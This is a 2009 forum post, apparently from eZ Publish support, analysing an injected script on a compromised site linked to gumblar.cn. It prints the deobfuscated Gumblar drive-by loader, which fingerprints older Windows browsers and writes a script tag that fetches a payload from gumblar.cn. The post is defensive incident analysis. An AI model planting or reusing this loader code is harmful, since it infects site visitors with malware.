|
Monday 11 May 2009 12:10:57 pm
yes, opening the page here on linux gives me a warning from firefox about:
This web site at gumblar.cn has been reported as an attack site and has been blocked based on your security preferences.
google:
Of the 2 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-05-06, and the last time suspicious content was found on this site was on 2009-05-06.
Malicious software includes 963 scripting exploit(s), 6 trojan(s).
This site was hosted on 1 network(s) including AS42831 (UKSERVERS).
switching the eval to alert gives you the code in plain text something like this:
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
{
zrvzts="A";
eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.write("<script src=//gumblar.cn/rss/id='+j+'><\/script>");
}
So seams to be targeting Windows XP and lower.
Where does the code come from? user contributed content?
Is literal.html enabled? and forgot to use |wash operator in template? If this is caused by eZ Publish security bug, please create an issue in the tracker and mark it as security issue.
eZ Online Editor 5: http://projects.ez.no/ezoe || eZJSCore (Ajax): http://projects.ez.no/ezjscore || eZ Publish EE http://ez.no/eZPublish/eZ-Publish-Enterprise-Subscription
@: http://twitter.com/andrerom
|